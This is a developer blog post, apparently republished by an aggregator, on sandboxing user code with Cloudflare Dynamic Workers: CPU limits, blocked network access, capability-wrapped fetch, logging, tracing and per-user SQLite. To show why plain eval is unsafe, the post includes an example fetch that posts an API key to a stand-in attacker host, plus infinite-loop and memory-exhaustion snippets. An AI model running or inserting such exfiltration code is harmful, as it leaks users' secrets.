{"slug": "working-with-dynamic-workers", "title": "Working with Dynamic Workers", "summary": "Cloudflare launched Dynamic Workers, a new primitive for spinning up isolated Cloudflare Workers with a single call, enabling safe execution of arbitrary user code. The feature addresses limitations of eval by providing separate execution threads, memory isolation, and restricted access, and can be used to make web apps programmable by end users.", "body_md": "Cloudflare recently launched [Dynamic Workers](https://blog.cloudflare.com/dynamic-workers/) as a new primitive that is a bit lighter weight than [Workers for Platforms](https://developers.cloudflare.com/cloudflare-for-platforms/workers-for-platforms/). Most of the marketing has, understandably, focused on Agents and [code mode](https://blog.cloudflare.com/code-mode/), a way of letting an LLM agent safely run arbitrary code in tiny ephemeral sandboxes that has some strong benefits over more limited MCP tool calls: reductions in context, composability, etc.\n\nI’m a bit more interested in how they can enable web apps to become programmable by the end user. [You can find my full thoughts here](/blog/extensible-software-in-the-age-of-llms), but I thought a more code-level walkthrough of how you can build with them would be a useful companion piece. [1](#user-content-fn-llm-footnote)\n\n## Overview[#](#overview)\n\nDynamic Workers allow you to spin up a new Cloudflare Worker with a single call. Call it once, or dozens of times. Create millions of them if you need. They are really cheap, spin up quickly, and provide a good security boundary so you can safely run arbitrary code.\n\nIn the simplest case loading a new worker and executing it looks like this:\n\n``` js\nconst worker = env.LOADER.load({\n  compatibilityDate: \"2026-06-28\",\n  mainModule: \"src/index.js\",\n  modules: {\n\t\"src/index.js\": `\n\t  export default add(a, b) {\n\t    return a + b;\n\t  };\n\t`,\n  },\n});\n\nlet response = worker.getEntrypoint().add(1, 2);\n```\n\n## Not your parents’ `eval`\n\n[#](#not-your-parents-eval)\n\nDynamic Workers sound a lot like `eval`\n\nbut they avoid some important gotchas that you’ll run into face-first if you try to execute user-provided code.\n\n#### Shares the same thread of execution[#](#shares-the-same-thread-of-execution)\n\n```\neval(\"while (true) {}\");\n```\n\nThe `eval`\n\n’d code can do basically anything, and you can’t pre-empt it from your own code. A single bad input can take down your whole server, or simply steal your CPU cycles to mine crypto.\n\n#### Shares memory with your code[#](#shares-memory-with-your-code)\n\n``` js\neval(`\n  const hog = [];\n  while (true) {\n    hog.push(new Array(1_000_000).fill(\"x\"));\n  }\n`);\n```\n\nAgain, your service is taken down by a single bad input.\n\n#### Access to outer state[#](#access-to-outer-state)\n\n``` js\nfunction chargeUser(userId) {\n  let amount = 10;\n  let approved = false;\n\n  eval(`\n    amount = 0.01;\n    approved = true;\n  `);\n\n  console.log(`Charging user ${userId}: $${amount}, approved=${approved}`);\n  if (approved) processPayment(userId, amount);\n}\n```\n\n`eval`\n\ngives access to everything in local scope. You can restrict this to the global object by running `globalThis.eval(code)`\n\n, but that’s still **a lot** of access.\n\n#### Access to network[#](#access-to-network)\n\n```\neval(`\n  fetch(\"https://attacker.example.com/exfil\", {\n    method: \"POST\",\n    body: JSON.stringify({ secret: apiKey })\n  })\n`);\n```\n\nIf the `eval`\n\n’d code does have access to any sensitive data, it can easily send it anywhere.\n\n## Dynamic Workers[#](#dynamic-workers)\n\nCloudflare Workers already have to deal with all of this (and much more) at a massive, global scale, and Dynamic Workers get the benefit of all of those years of hardening.\n\n### Setup[#](#setup)\n\nLet’s imagine an app that can scrape web pages on behalf of a user, but the user gets to configure what they care about. We’d like to maximize the flexibility of what the user could feasibly do, but at the same time, we need to make sure that there are reasonable limits in place. We don’t want our service used as a DoS machine.\n\nWith that in mind, we’re going to work with the following contract. The actual scraping is handled by the system, and then the user can provide a single `transform`\n\nfunction. It receives the contents scraped from a url, and can return a markdown string and / or an arbitrary JSON result.\n\n```\n// user provides this function\nexport default async function transform(env: Env, input: Input): Promise<Result> {\n\t// so much room for activities!\n}\n```\n\nwith these types:\n\n```\nexport type Env = {\n  // empty for now\n}\n\nexport type Input = {\n\turl: string;\n\tfinalUrl: string;\n\tstatus: number;\n\tcontentType: string;\n\tresponseHeaders: Map<string, string>;\n\tbody: string;\n\ttruncated: boolean;\n};\n\nexport type Result = {\n\tjson?: unknown;\n\tmarkdown?: string;\n}\n```\n\nWe’ll capture this code from the user as `user.js`\n\n, which we can wrap in a harness. A simplified version of a harness would import the function we expect\nthe user to export. We aren’t really gaining anything over running the user’s function directly yet, but it gives us a place to add our own logic.\n\n``` python\nimport { WorkerEntrypoint, DurableObject } from 'cloudflare:workers';\nimport transform from './user.js';\n\nexport default class Harness extends WorkerEntrypoint {\n\tasync run(env, input) {\n\t\treturn transform({}, input);\n\t}\n}\n```\n\nAnd now we can load the final worker and pass it an input!\n\n``` js\nconst payload = fetchPayload(submittedUrl);\n\nconst worker = env.LOADER.load({\n  compatibilityDate: \"2026-06-28\",\n  mainModule: \"index.js\",\n  modules: {\n    \"user.js\": userSubmittedCode,\n    \"index.js\": harnessCode,\n  },\n});\n\nlet response = worker.getEntrypoint().run(env, payload);\n```\n\nThis is simplified for the example. A real example will need to deal with more concerns such as error handling, compiling and bundling typescript, naming the script so that repeated invocations use a cached version, permissions, limits, and more, but this is enough for us to get started.\n\nA more complete example can be found in [the repo for this blog post](https://github.com/jmorrell/dynamic-workers-demo).\n\nNow, let’s see what we can build with the setup we’ve created.\n\n## Basic Example[#](#basic-example)\n\nOne useful thing to do with a web page is to pull out the [Open Graph meta tags](https://ogp.me/). These are html tags that are not rendered, but are frequently used to generate preview links for social media.\n\n```\n<meta property=\"og:url\" content>\n<meta property=\"og:title\" content=\"Wikipedia, the free encyclopedia\">\n<meta property=\"og:type\" content=\"website\">\n<meta property=\"og:description\" content=\"Wikipedia is a free online encyclopedia, created and edited by volunteers around the world and hosted by the Wikimedia Foundation.\">\n<meta property=\"og:image\" content=\"https://upload.wikimedia.org/wikipedia/en/thumb/8/80/Wikipedia-logo-v2.svg/250px-Wikipedia-logo-v2.svg.png\">\n```\n\nGiven our harness code, this is straightforward to write using regex. You can run this on any url you would like.\n\nRemember, this code is running on Cloudflare’s infrastructure! Not locally in your browser. Note that some sites may block cloud browsers and will not work.\n\nAnother very common task is converting the contents of the site as markdown. We don’t have to write that ourselves. If we add a build process to bundle dependencies, we can use the [ defuddle](https://github.com/kepano/defuddle) library to handle this for us, and allow our user to bring in dependencies from npm.\n\nThe input does not have to be an HTML page. This example transforms a Hacker News API response into a summary of its top-scoring comments.\n\n## CPU and communication limits[#](#cpu-and-communication-limits)\n\nBecause this user code is running on a Cloudflare Worker, we can modify our `LOADER`\n\noptions and enforce fine-grained limits on CPU usage and disable network access entirely.\n\n``` js\nconst worker = env.LOADER.load({\n  // ...\n\n  // disable fetch\n  globalOutbound: null,\n  // set a bound on CPU time\n  limits: {\n    cpuMs: 50,\n  },\n});\n```\n\nAn infinite loop is no problem.\n\nTrying to sneak in a `fetch`\n\ncall? Nope, can’t do that!\n\n## Passing in your own bindings[#](#passing-in-your-own-bindings)\n\nA function that can only return a value can be useful sometimes, but what if we need the user to be able to take some action? or if they need some additional tools?\n\nThat’s why we have the `env`\n\nparameter in our example. We can decide on functionality\nthat the user might need and pass it in to them. If you are familiar with the way\n[Cloudflare Worker Bindings](https://developers.cloudflare.com/workers/runtime-apis/bindings/) work, it’s very similar. Except instead of exposing a SQL or KV interface, we get to choose our own!\n\nThe easiest thing might be to pass a Cloudflare binding straight through. Let’s say we’ve used [Workers for Platforms](https://developers.cloudflare.com/cloudflare-for-platforms/workers-for-platforms/configuration/bindings/) to generate a KV namespace for each user. We might pass it through like this:\n\n```\nexport default class Harness extends WorkerEntrypoint {\n\tasync run(env, input) {\n\t  const userEnv = {\n\t\t\tKV: getKVForUser(env.USER_ID),\n\t\t};\n\t\treturn transform(userEnv, input);\n\t}\n}\n```\n\nAnd from the user’s perspective it’s like they get a normal KV binding, because we just gave them a reference to one.\n\n```\nexport default async function transform(env: Env, input: Input): Promise<Result> {\n  // The user gets the userEnv we've passed through as an argument and can\n  // invoke it like any normal KV binding\n  let result = await env.KV.get(input.url);\n  // ...\n}\n```\n\nWe may not want to give our user free rein over using a KV call, so we may wish to wrap it in our own logic. We can add a rate limiter, or even enforce that it can only be called a limited number of times within a single invocation. We’re building our own platform, and we can decide what limits make sense.\n\n```\n// This is a admittedly a little contrived\nfunction wrapKV(kv: KVNamespace, maxOperations = 5) {\n  let operations = 0;\n\n  function consumeOperation() {\n    if (operations >= maxOperations) {\n      throw new Error(\n        `KV operation limit exceeded (maximum ${maxOperations} per invocation)`,\n      );\n    }\n    operations += 1;\n  }\n\n  return Object.freeze({\n    async get(key: string) {\n      consumeOperation();\n      return kv.get(key);\n    },\n\n    async put(key: string, value: string) {\n      consumeOperation();\n      return kv.put(key, value);\n    },\n\n    async delete(key: string) {\n      consumeOperation();\n      return kv.delete(key);\n    },\n  });\n}\n\nexport default class Harness extends WorkerEntrypoint {\n\tasync run(env, input) {\n\t  const userEnv = {\n\t\t\tKV: wrapKV(getKVForUser(env.USER_ID)),\n\t\t};\n\t\treturn transform(userEnv, input);\n\t}\n}\n```\n\nBecause `wrapKV`\n\nis called inside `run`\n\n, each invocation gets a fresh counter. The\nuser receives only the three methods we explicitly expose, and every operation shares\nthe same five-call budget.\n\nIf you provide an HTTP API to the user and then try to enforce constraints like this in an HTTP proxy it would be significantly harder to encode that logic in something that doesn’t share any state with the invocation.\n\n## New writing, occasionally.\n\nGet my posts in your inbox. No fixed schedule, no noise.\n\n## Creating your own bindings[#](#creating-your-own-bindings)\n\nSo far we’ve passed in platform bindings, but they are just modules (or `RpcTarget`\n\n’s, which we can treat as module reference), we don’t have to use platform bindings, we can create our own!\n\nThe next logical feature for our little scraper is to be able to spider off to\nother pages. The easiest thing to do would be to re-introduce `fetch`\n\n.\nThis… would work, but then we lose the guarantees we would like our platform\nto provide. Someone could start using us to DoS, or if we ever allow sensitive\nuser data into this function, the user’s code could `POST`\n\nit wherever they liked.\n\nOne reasonable approach might be to pass `env.fetch`\n\nbut wrap it and enforce some\nlogic:\n\n``` js\nfunction wrapFetch(originalFetch: typeof fetch, domain: string) {\n  const allowedHostname = domain.toLowerCase().replace(/\\.$/, \"\");\n\n  return async function restrictedFetch(\n    input: RequestInfo | URL,\n    init?: RequestInit,\n  ): Promise<Response> {\n    const request = new Request(input, init);\n    const url = new URL(request.url);\n\n    if (request.method !== \"GET\") {\n      throw new Error(`Only GET requests are allowed, got ${request.method}`);\n    }\n\n    const hostname = url.hostname.toLowerCase().replace(/\\.$/, \"\");\n    if (hostname !== allowedHostname) {\n      throw new Error(\n        `Requests to ${hostname} are not allowed; expected ${allowedHostname}`,\n      );\n    }\n\n    return originalFetch(request);\n  };\n}\n```\n\nThis is better! But the user could likely still misuse this if they’re clever.\n\nThe core idea is that we are exposing [capabilities](https://en.wikipedia.org/wiki/Object-capability_model) to the users code, and that comes with a whole lot of\ntheories and precedent that I am honestly still learning and not yet qualified to teach.\n\nHowever LLMs know this space pretty well! You can shift into that latent space by giving them the magic phrase: “think of this from an OCaps perspective” plus a description of the problem you’d like to solve.\n\nMy LLM comes up with the following alternative design.\n\nInstead of letting the user give us arbitrary urls, we can parse urls out of the page that they requested. For each url in the html we can provide them with a `ResourceCapability`\n\n.\n\n``` js\nconst articleUrl = \"https://example.com/article\";\n\n// Merely knowing this URL is not enough. The lookup succeeds only if the\n// requested page actually contained this exact URL and the host granted it.\nconst article = env.resources?.get(articleUrl);\nif (!article) {\n  throw new Error(`The page did not grant access to ${articleUrl}`);\n}\n\n// read() takes no URL: this object is already bound to articleUrl.\nconst response = await article.read();\n```\n\nThis allows the user to spider out from the requested page, but only in ways we control. We can add rate-limits, limit the number of scraped pages, or any other logic we can think of.\n\nThe full types are a bit of a doozy and may seem a bit awkward, however I promise you that LLMs find it really easy to write code against TypeScript definitions like this.\n\nNote that this allows the user to get the raw bytes for any non-html files they might want to download. I’ll include some examples of this below.\n\n```\ntype TransformEnv = {\n  resources?: ReadonlyMap<string, ResourceCapability>;\n};\n\ntype ResourceSource =\n  | { kind: \"html\"; element: string; attribute: string }\n  | { kind: \"text\" };\n\ntype ResourceDescriptor = {\n  url: string;\n  source: ResourceSource;\n};\n\ntype ResourceCapability = ResourceDescriptor & {\n  read(): Promise<ResourceResult>;\n};\n\ntype ResourceResult = ResourceTextResult | ResourceBytesResult;\n\ntype ResourceTextResult = {\n  kind: \"text\";\n  status: number;\n  contentType: string;\n  body: string;\n  truncated: boolean;\n  resources: ReadonlyMap<string, ResourceCapability>;\n};\n\ntype ResourceBytesResult = {\n  kind: \"bytes\";\n  status: number;\n  contentType: string;\n  bytes: Uint8Array;\n  truncated: boolean;\n};\n```\n\nOne immediate example we could build would be pulling in the top N articles from an RSS feed:\n\n## O11y: logging[#](#o11y-logging)\n\nIf we’re going to let users run their own code, they also need to be able to debug it.\nThey’re going to reach for `console.log`\n\nalmost immediately, and we should capture those\nlogs and feed them back. We can see our own worker logs in [the Cloudflare Dashboard](https://developers.cloudflare.com/workers/observability/), but we can’t give our users access to\nour data!\n\nWorkers gives us a nice way to capture this telemetry data: a [tail\nworker](https://developers.cloudflare.com/workers/observability/logs/tail-workers/).\nA tail worker receives events from the Worker its attached to, including its logs and\nuncaught exceptions. We don’t need to change the user code at all.\n\nWe can attach the tail when we create the Dynamic Worker:\n\n``` js\nconst tail = ctx.exports.LogTailer({\n  props: { runId },\n});\n\nconst worker = env.LOADER.load({\n  // compatibilityDate, mainModule, modules, limits, etc.\n  // ...\n  tails: [tail],\n});\n\nconst result = await worker.getEntrypoint().run(input);\n```\n\nA minimal tail worker might look something like this:\n\n``` js\nimport { WorkerEntrypoint } from \"cloudflare:workers\";\n\nexport class LogTailer extends WorkerEntrypoint<Env> {\n  async tail(events: TraceItem[]) {\n    const { runId } = this.ctx.props as { runId: string };\n\n    for (const event of events) {\n      for (const log of event.logs) {\n        // Do something with the logs\n        await this.env.LOGS.append(runId, {\n          level: log.level,\n          message: log.message.map(String).join(\" \"),\n        });\n      }\n\n      for (const exception of event.exceptions) {\n        // Do something with the exceptions\n        await this.env.LOGS.append(runId, {\n          level: \"error\",\n          message: `${exception.name}: ${exception.message}`,\n        });\n      }\n    }\n  }\n}\n```\n\nWhat you do with these events will depend on how you structure your app. Here `LOGS`\n\nis a Durable Object for this particular run. Before we return the result to the browser\nwe collect all of the logs that the DO has received.\n\nNow the user’s normal `console.log`\n\ncalls are visible to our platform without needing\nto change the code at all. Check the RSS example below and notice the nice shiny logs tab\nafter it returns a result.\n\n## O11y: tracing[#](#o11y-tracing)\n\nIf you’ve read much of my blog, you probably saw this coming. We gotta have tracing right?\n\nUnfortunately [Automatic Tracing](https://blog.cloudflare.com/workers-tracing-now-in-open-beta/)\ndoes not yet support capturing spans in a tail worker, so this is a little more complicated than\nlogging.\n\nThe key insight is that we’ve turned off all of the network connection, and control every\naction the user can take outside of pure computation. We can wrap each of these with our\nown instrumentation. Remember that spans are just ✨fancy logs✨? [Check out my blog post on\nbuilding your own tracing library if this doesn’t ring a bell](https://jeremymorrell.dev/blog/minimal-js-tracing/).\n\nThis looks a bit verbose and scary, but I promise the logic is simple to follow. We’re basically running a function but tracking how long it takes, whether it threw an error, and some metadata.\n\n```\nasync function traceIO<T>(\n  tracer: Tracer,\n  options: {\n    name: string;\n    parentSpanId?: string;\n    attributes?: Record<string, unknown>;\n  },\n  operation: () => Promise<T>,\n): Promise<T> {\n  const spanId = crypto.randomUUID();\n  const startedAt = performance.now();\n\n  try {\n    const result = await operation();\n    tracer.add({\n      spanId,\n      parentSpanId: options.parentSpanId,\n      name: options.name,\n      start: startedAt,\n      end: performance.now(),\n      status: \"ok\",\n      attributes: options.attributes,\n    });\n    return result;\n  } catch (error) {\n    tracer.add({\n      spanId,\n      parentSpanId: options.parentSpanId,\n      name: options.name,\n      start: startedAt,\n      end: performance.now(),\n      status: \"error\",\n      attributes: {\n        ...options.attributes,\n        error: error instanceof Error ? error.message : String(error),\n      },\n    });\n    throw error;\n  }\n}\n```\n\nThen we wrap the places where our platform does I/O. We’re manually propagating `parentSpanId`\n\nhere to keep the code simple (if a bit verbose). A more clever solution could use [ AsyncLocalStorage](https://nodejs.org/api/async_context.html).\n\n``` js\nconst input = await traceIO(\n  tracer,\n  { name: \"target_fetch\", parentSpanId: runSpanId, attributes: { url } },\n  () => fetchTarget(url),\n);\n\nconst result = await traceIO(\n  tracer,\n  { name: \"loader\", parentSpanId: runSpanId },\n  () => worker.getEntrypoint().run(input),\n);\n\nconst logs = await traceIO(\n  tracer,\n  { name: \"logs_read\", parentSpanId: runSpanId },\n  () => getLogs(runId),\n);\n```\n\nThe result is small enough to return directly with the rest of the invocation response. Here’s the RSS example again:\n\nOr we might want to fetch information about a GitHub repo:\n\n`wasm`\n\nsupport[#](#wasm-support)\n\nOne of the benefits of working in V8 is that it supports `wasm`\n\n“out-of-the-box”. Indeed, once\nwe have built wasm bytecode, we can import it like any module and pass it to\n`WebAssembly.instantiate(moduleName);`\n\n.\n\nPotentially the simplest possible example is just using `wasm`\n\nto add two numbers together:\n\nBut `wasm`\n\nlets us do (almost) anything! Let’s process the images on the page using [ @cf-wasm/photon](https://www.npmjs.com/package/@cf-wasm/photon).\n\nOr with the rise of LLMs there’s also been a rise of utilities to efficiently parse PDFs.\n[liteparse](https://github.com/run-llama/liteparse) is super lightweight and fits into a worker.\n\nLet’s go from [an arxiv.org title page](https://arxiv.org/abs/1706.03762),\nfind [the linked PDF](https://arxiv.org/pdf/1706.03762), and extract the text.\n\nOr capture some data about recently published papers in a particular field.\n\n## Storage w/ DO facets[#](#storage-w-do-facets)\n\nThe last thing our little platform is missing is memory. Every invocation so far has started from scratch, which is a fantastic default until we want to enable the user to store some data.\n\nAs we showed before, we could pass through a platform binding (KV, D1, etc), but then we are back to deciding how much of a platform binding we really want user code to have.\n\nInstead we’ll expose one deliberately small capability:\n\n```\ntype TransformEnv = {\n  //...\n  DB?: Database;\n};\n\ntype Database = {\n  readonly databaseSize: number;\n  exec<T>(query: string, ...bindings: unknown[]): {\n    toArray(): T[];\n  };\n};\n```\n\nYou might want to read [the official blog post](https://blog.cloudflare.com/durable-object-facets-dynamic-workers/) for this one.\n\nWe really are giving user their own database. They can create tables,\nbuild indexes, and run arbitrary SQL, but only against the database attached to their\nown [Durable Object facet](https://developers.cloudflare.com/dynamic-workers/usage/durable-object-facets/). We still wrap `exec()`\n\nso we can enforce limits that make sense for our\nplatform.\n\nWhat’s a facet? Honestly it’s a little confusing! We’re running a user’s code within a Durable Object that we control.\n\nA normal Dynamic Worker entrypoint does not have durable storage attached to it, but facets let a Durable Object that we trust mount a class exported by the Dynamic Worker as a child. Each child facet gets its own isolated SQLite database.\n\nInside the Dynamic Worker bundle, our harness exports a storage-enabled Durable Object class. This should look familiar, except now it’s in a class and all stateful. The interface to the user doesn’t change however, we just pass it a wrapped reference to the DO storage.\n\n```\nexport class StorageHarness extends DurableObject {\n  async run(input: Input) {\n    const userEnv = {\n      DB: wrapDatabase(this.ctx.storage),\n    };\n\n    return transform(userEnv, input);\n  }\n}\n```\n\nOur trusted supervisor loads that class, mounts a facet for the current script, and forwards the invocation over RPC:\n\n```\nexport class StorageHost extends DurableObject<Env> {\n  async run(scriptId: string, code: WorkerCode, input: Input) {\n    const worker = this.env.LOADER.get(scriptId, () => code);\n\n    const facet = this.ctx.facets.get(scriptId, async () => ({\n      class: worker.getDurableObjectClass(\"StorageHarness\"),\n    }));\n\n    return facet.run(input);\n  }\n}\n```\n\nThe supervisor has its own database, and every facet has a separate database that the others cannot access. In this demo an anonymous ID generated by the browser chooses the supervisor, and the scriptId here changes every time you modify a script. The stores also expire after about an hour because this is a personal blog demo, and I don’t want a big surprise bill 😅.\n\nDurable Objects have a size limit of 10GB that must be shared amongst all the facets. What if we don’t want each user to be able to store 10 whole gigabytes? We can enforce a smaller limit!\n\n`wrapDatabase()`\n\nruns each query inside `transactionSync()`\n\n. After the query has run,\nwe inspect both the cursor and `sql.databaseSize`\n\n. Throwing rolls the whole query back:\n\n```\nfunction wrapDatabase(storage) {\n  const { sql } = storage;\n\n  return {\n    get databaseSize() {\n      return sql.databaseSize;\n    },\n\n    exec(query, ...bindings) {\n      const sizeBefore = sql.databaseSize;\n\n      return storage.transactionSync(() => {\n        const cursor = sql.exec(query, ...bindings);\n        const rows = cursor.toArray();\n\n        // 128kb ought to be enough for anyone\n        if (\n          sql.databaseSize > 128 * 1024 &&\n          sql.databaseSize > sizeBefore\n        ) {\n          throw new Error(\"database size quota exceeded\");\n        }\n\n        return {\n          rowsRead: cursor.rowsRead,\n          rowsWritten: cursor.rowsWritten,\n          toArray: () => rows,\n        };\n      });\n    },\n  };\n}\n```\n\nThe 128 KiB limit here is deliberately tiny. SQLite allocates space in pages, so the exact query that crosses it depends on the schema and data. Read-only queries still work, and writes that do not grow an already-oversized database remain available so user code can clean up.\n\nFrom the user’s perspective none of that plumbing is visible. They can use SQLite normally:\n\n```\nenv.DB.exec(`\n  CREATE TABLE IF NOT EXISTS submissions (\n    id INTEGER PRIMARY KEY AUTOINCREMENT,\n    url TEXT NOT NULL\n  )\n`);\n\nenv.DB.exec(\n  \"INSERT INTO submissions (url) VALUES (?)\",\n  input.url,\n);\n\nreturn env.DB.exec(\n  \"SELECT url FROM submissions ORDER BY id\",\n).toArray();\n```\n\nRun the example with a few different URLs and each response will include everything\nyou submitted before it. The state survives the Dynamic Worker invocation, but it\nremains scoped to this browser and this script. You can use **Clear stored data** to\nstart over.\n\n## Write your own[#](#write-your-own)\n\nI’ve been having you run my examples, but all of the widgets allow you to edit the code and run your own logic!\n\nThe editor below has all of the capabilities we’ve built up over the course of this post: it can follow links from the page, keep data in SQLite, write logs, and show you a trace of the I/O it performs.\n\nThere is also an **LLM prompt** tab with the full contract and type signatures.\nDescribe what you want the transform to do, copy the prompt into your LLM of\nchoice, then paste the result back into `transform.ts`\n\n. Or, you know, write the\ncode yourself. I hear some people are into that.\n\n## Wrapping up[#](#wrapping-up)\n\nOur little web scraper grew up quite quickly! We can spider across websites, process PDFs, and it even has its own (very smol) SQL database.\n\nI don’t think **every** app needs its own code editor bolted on, but I think we are\njust scratching the surface of what web software could look like now that LLMs can\nknock out a feature on their own. If we craft our extension points carefully, we can\nlet users (safely) vibe out and make your app their own. [Check out my full thoughts here](/blog/extensible-software-in-the-age-of-llms) if you want the longer-version.", "url": "https://wpnews.pro/news/working-with-dynamic-workers", "canonical_source": "https://jeremymorrell.dev/blog/working-with-dynamic-workers/", "published_at": "2026-08-18 00:00:00+00:00", "updated_at": "2026-08-18 14:14:05.882447+00:00", "lang": "en", "topics": ["developer-tools", "ai-agents"], "entities": ["Cloudflare", "Dynamic Workers", "Workers for Platforms"], "alternates": {"html": "https://wpnews.pro/news/working-with-dynamic-workers", "markdown": "https://wpnews.pro/news/working-with-dynamic-workers.md", "text": "https://wpnews.pro/news/working-with-dynamic-workers.txt", "jsonld": "https://wpnews.pro/news/working-with-dynamic-workers.jsonld"}}